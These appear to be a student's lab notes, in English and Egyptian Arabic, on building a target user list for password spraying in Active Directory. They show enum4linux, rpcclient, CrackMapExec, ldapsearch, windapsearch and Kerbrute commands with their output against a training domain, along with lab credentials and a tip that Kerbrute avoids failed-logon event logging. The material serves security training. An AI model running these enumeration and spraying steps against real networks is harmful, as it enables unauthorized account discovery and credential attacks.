9-Password Spraying: Making a Target User List

Detailed User Enumeration

To mount a successful password spraying attack, we first need a list of valid domain users to attempt to authenticate with. There are several ways that we can gather a target list of valid users:

- By leveraging an SMB NULL session to retrieve a complete list of domain users from the domain controller
- Utilizing an LDAP anonymous bind to query LDAP anonymously and pull down the domain user list
- Using a tool such as `Kerbrute` to validate users utilizing a word list from a source such as the statistically-likely-usernames : https://github.com/insidetrust/statistically-likely-usernames[](https://github.com/insidetrust/statistically-likely-usernames) GitHub repo, or gathered by using a tool such as linkedin2username to create a list of potentially valid users
- Using a set of credentials from a Linux or Windows attack system either provided by our client or obtained through another means such as LLMNR/NBT-NS response poisoning using `Responder` or even a successful password spray using a smaller wordlist

SMB NULL Session to Pull User List

If you are on an internal machine but don't have valid domain credentials, you can look for SMB NULL sessions or LDAP anonymous binds on Domain Controllers. Either of these will allow you to obtain an accurate list of all users within Active Directory and the password policy. If you already have credentials for a domain user or `SYSTEM` access on a Windows host, then you can easily query Active Directory for this information.

الفكرة هنا بتتكلم عن طرق تقدر بيها تستخرج معلومات من شبكة داخلية (Internal Network)، خصوصًا لو ما عندكش بيانات دخول (Domain Credentials) للدومين. الهدف هو جمع أسماء المستخدمين وسياسة الباسورد (Password Policy) من Active Directory.

أولاً: لو ما عندكش بيانات دخول للدومين:

الخيارات المتاحة:

1. **SMB NULL Sessions**:
   - ده نوع من الاتصال بالسيرفر عن طريق بروتوكول SMB (مثل `\\<DomainController>\ipc$`) من غير استخدام اسم مستخدم أو باسورد.
   - ممكن تستخدم أدوات زي:
     - **enum4linux**
     - **rpcclient**

        - **CrackMapExec**

2. **LDAP Anonymous Bind**:
    - بتستخدم بروتوكول **LDAP** علشان تتصل بالدومين من غير بيانات دخول، وتجمع معلومات زي قائمة المستخدمين وسياسة الباسورد.

ثانياً: لو معاك بيانات دخول أو صلاحيات SYSTEM:

ليه الحساب SYSTEM ينفع؟

- حساب **SYSTEM** على جهاز Windows عنده صلاحيات خاصة تخليه يقدر يتنكر كأنه حساب "Computer Object" (وده زي حساب مستخدم في الدومين لكن مخصص للجهاز).
- الكمبيوتر بيتم معاملته كمستخدم داخل Active Directory، وده يسمح لك تسحب بيانات مثل قائمة المستخدمين وسياسة الباسورد.

لو مفيش صلاحيات أو طرق اتصال:

- لو ما تقدرش تستخدم **SMB NULL Sessions** أو **LDAP Anonymous Bind**، ممكن تجمع قائمة بأسماء المستخدمين من مصادر خارجية زي:
    - **Email Harvesting**: البحث عن الإيميلات في المواقع العامة.
    - **LinkedIn**: استخراج أسماء الموظفين المرتبطين بالشركة.

رغم إن القوائم دي مش دقيقة زي اللي ممكن تسحبها من Active Directory، لكنها ممكن تساعدك للوصول لنقطة البداية.

Using enum4linux

```
0xAmr0zZakaria@htb[/htb]$ enum4linux -U 172.16.5.5  | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"

administrator
guest
krbtgt
lab_adm
htb-student
avazquez
pfalcon
fanthony
wdillard
lbradford
sgage
asanchez
dbranch
ccruz
njohnson
mholliday
```

We can use the `enumdomusers` command after connecting anonymously using `rpcclient`.

Using rpcclient

```
0xAmr0zZakaria@htb[/htb]$ rpcclient -U "" -N 172.16.5.5

rpcclient $> enumdomusers
user:[administrator] rid:[0x1f4]
user:[guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[lab_adm] rid:[0x3e9]
user:[htb-student] rid:[0x457]
user:[avazquez] rid:[0x458]

<SNIP>
```

Finally, we can use `CrackMapExec` with the `--users` flag. This is a useful tool that will also show the `badpwdcount` (invalid login attempts), so we can remove any accounts from our list that are close to the lockout threshold. It also shows the `baddpwdtime`, which is the date and time of the last bad password attempt, so we can see how close an account is to having its `badpwdcount` reset. In an environment with multiple Domain Controllers, this value is maintained separately on each one. To get an accurate total of the account's bad password attempts, we would have to either query each Domain Controller and use the sum of the values or query the Domain Controller with the PDC Emulator FSMO role.

Using CrackMapExec --users Flag

```
0xAmr0zZakaria@htb[/htb]$ crackmapexec smb 172.16.5.5 --users

SMB         172.16.5.5      445    ACADEMY-EA-DC01  [*] Windows 10.0 Build
17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True)
(SMBv1:False)
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] Enumerated domain
user(s)
SMB         172.16.5.5      445    ACADEMY-EA-DC01
INLANEFREIGHT.LOCAL\administrator                      badpwdcount: 0
baddpwdtime: 2022-01-10 13:23:09.463228
SMB         172.16.5.5      445    ACADEMY-EA-DC01
INLANEFREIGHT.LOCAL\guest                              badpwdcount: 0
baddpwdtime: 1600-12-31 19:03:58
SMB         172.16.5.5      445    ACADEMY-EA-DC01
INLANEFREIGHT.LOCAL\lab_adm                            badpwdcount: 0
baddpwdtime: 2021-12-21 14:10:56.859064
SMB         172.16.5.5      445    ACADEMY-EA-DC01
INLANEFREIGHT.LOCAL\krbtgt                             badpwdcount: 0
baddpwdtime: 1600-12-31 19:03:58
```

```
SMB         172.16.5.5      445    ACADEMY-EA-DC01  INLANEFREIGHT.LOCAL\htb-
student                        badpwdcount: 0 baddpwdtime: 2022-02-22
14:48:26.653366
SMB         172.16.5.5      445    ACADEMY-EA-DC01
INLANEFREIGHT.LOCAL\avazquez                       badpwdcount: 0
baddpwdtime: 2022-02-17 22:59:22.684613

<SNIP>
```

Gathering Users with LDAP Anonymous

We can use various tools to gather users when we find an LDAP anonymous bind. Some examples include windapsearch and ldapsearch. If we choose to use `ldapsearch` we will need to specify a valid LDAP search filter. We can learn more about these search filters in the Active Directory LDAP module.

Using ldapsearch

```
0xAmr0zZakaria@htb[/htb]$ ldapsearch -h 172.16.5.5 -x -b
"DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))"  | grep
sAMAccountName: | cut -f2 -d" "

guest
ACADEMY-EA-DC01$
ACADEMY-EA-MS01$
ACADEMY-EA-WEB01$
htb-student
avazquez
pfalcon
fanthony
wdillard
lbradford
sgage
asanchez
dbranch
```

Tools such as `windapsearch` make this easier (though we should still understand how to create our own LDAP search filters). Here we can specify anonymous access by providing a blank username with the `-u` flag and the `-U` flag to tell the tool to retrieve just users.

Using windapsearch

```
0xAmr0zZakaria@htb[/htb]$ ./windapsearch.py --dc-ip 172.16.5.5 -u "" -U

[+] No username provided. Will try anonymous bind.
[+] Using Domain Controller at: 172.16.5.5
[+] Getting defaultNamingContext from Root DSE
[+]     Found: DC=INLANEFREIGHT,DC=LOCAL
[+] Attempting bind
[+]     ...success! Binded as:
[+]      None

[+] Enumerating all AD users
[+]     Found 2906 users:

cn: Guest

cn: Htb Student
userPrincipalName: htb-student@inlanefreight.local

cn: Annie Vazquez
userPrincipalName: avazquez@inlanefreight.local

cn: Paul Falcon
userPrincipalName: pfalcon@inlanefreight.local

cn: Fae Anthony
userPrincipalName: fanthony@inlanefreight.local

cn: Walter Dillard
userPrincipalName: wdillard@inlanefreight.local

<SNIP>
```

Enumerating Users with Kerbrute

As mentioned in the `Initial Enumeration of The Domain` section, if we have no access at all from our position in the internal network, we can use `Kerbrute` to enumerate valid AD accounts and for password spraying.

This tool uses Kerberos Pre-Authentication, which is a much faster and potentially stealthier way to perform password spraying. This method does not generate Windows event ID 4625: An account failed to log on, or a logon failure which is often monitored for. The tool sends TGT requests to the domain controller without Kerberos Pre-Authentication to perform username enumeration. If the KDC responds with the error `PRINCIPAL UNKNOWN`, the username is invalid. Whenever the KDC prompts for Kerberos Pre-Authentication, this signals that the username exists, and the tool will mark it as valid. This method of username enumeration does not cause logon failures and will not lock out accounts. However, once we have a list of valid users and switch gears to use this tool for password spraying, failed Kerberos

Pre-Authentication attempts will count towards an account's failed login accounts and can lead to account lockout, so we still must be careful regardless of the method chosen.

Let's try out this method using the jsmith.txt wordlist of 48,705 possible common usernames in the format `flast`. The statistically-likely-usernames GitHub repo is an excellent resource for this type of attack and contains a variety of different username lists that we can use to enumerate valid usernames using `Kerbrute`.

Kerbrute User Enumeration

```
0xAmr0zZakaria@htb[/htb]$  kerbrute userenum -d inlanefreight.local --dc 
172.16.5.5 /opt/jsmith.txt 


    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/ 

Version: dev (9cfb81e) - 02/17/22 - Ronnie Flathers @ropnop

2022/02/17 22:16:11 >  Using KDC(s):
2022/02/17 22:16:11 >   172.16.5.5:88

2022/02/17 22:16:11 >  [+] VALID USERNAME:       jjones@inlanefreight.local
2022/02/17 22:16:11 >  [+] VALID USERNAME:       sbrown@inlanefreight.local
2022/02/17 22:16:11 >  [+] VALID USERNAME:       
tjohnson@inlanefreight.local
2022/02/17 22:16:11 >  [+] VALID USERNAME:       jwilson@inlanefreight.local
2022/02/17 22:16:11 >  [+] VALID USERNAME:       bdavis@inlanefreight.local
2022/02/17 22:16:11 >  [+] VALID USERNAME:       
njohnson@inlanefreight.local
2022/02/17 22:16:11 >  [+] VALID USERNAME:       
asanchez@inlanefreight.local
2022/02/17 22:16:11 >  [+] VALID USERNAME:       dlewis@inlanefreight.local
2022/02/17 22:16:11 >  [+] VALID USERNAME:       ccruz@inlanefreight.local

<SNIP>
```

Credentialed Enumeration to Build our User List with credantials

Using CrackMapExec with Valid Credentials

```
0xAmr0zZakaria@htb[/htb]$ sudo crackmapexec smb 172.16.5.5 -u htb-student -p
Academy_student_AD! --users

[sudo] password for htb-student:
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [*] Windows 10.0 Build
17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True)
(SMBv1:False)
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+]
INLANEFREIGHT.LOCAL\htb-student:Academy_student_AD!
SMB         172.16.5.5      445    ACADEMY-EA-DC01  [+] Enumerated domain
user(s)
SMB         172.16.5.5      445    ACADEMY-EA-DC01
INLANEFREIGHT.LOCAL\administrator                 badpwdcount: 1
baddpwdtime: 2022-02-23 21:43:35.059620
SMB         172.16.5.5      445    ACADEMY-EA-DC01
INLANEFREIGHT.LOCAL\guest                         badpwdcount: 0
baddpwdtime: 1600-12-31 19:03:58
SMB         172.16.5.5      445    ACADEMY-EA-DC01
INLANEFREIGHT.LOCAL\lab_adm                       badpwdcount: 0
baddpwdtime: 2021-12-21 14:10:56.859064
SMB         172.16.5.5      445    ACADEMY-EA-DC01
INLANEFREIGHT.LOCAL\krbtgt                        badpwdcount: 0
baddpwdtime: 1600-12-31 19:03:58
SMB         172.16.5.5      445    ACADEMY-EA-DC01  INLANEFREIGHT.LOCAL\htb-
student                   badpwdcount: 0 baddpwdtime: 2022-02-22
14:48:26.653366
SMB         172.16.5.5      445    ACADEMY-EA-DC01
INLANEFREIGHT.LOCAL\avazquez                      badpwdcount: 20
baddpwdtime: 2022-02-17 22:59:22.684613
SMB         172.16.5.5      445    ACADEMY-EA-DC01
INLANEFREIGHT.LOCAL\pfalcon                       badpwdcount: 0
baddpwdtime: 1600-12-31 19:03:58
```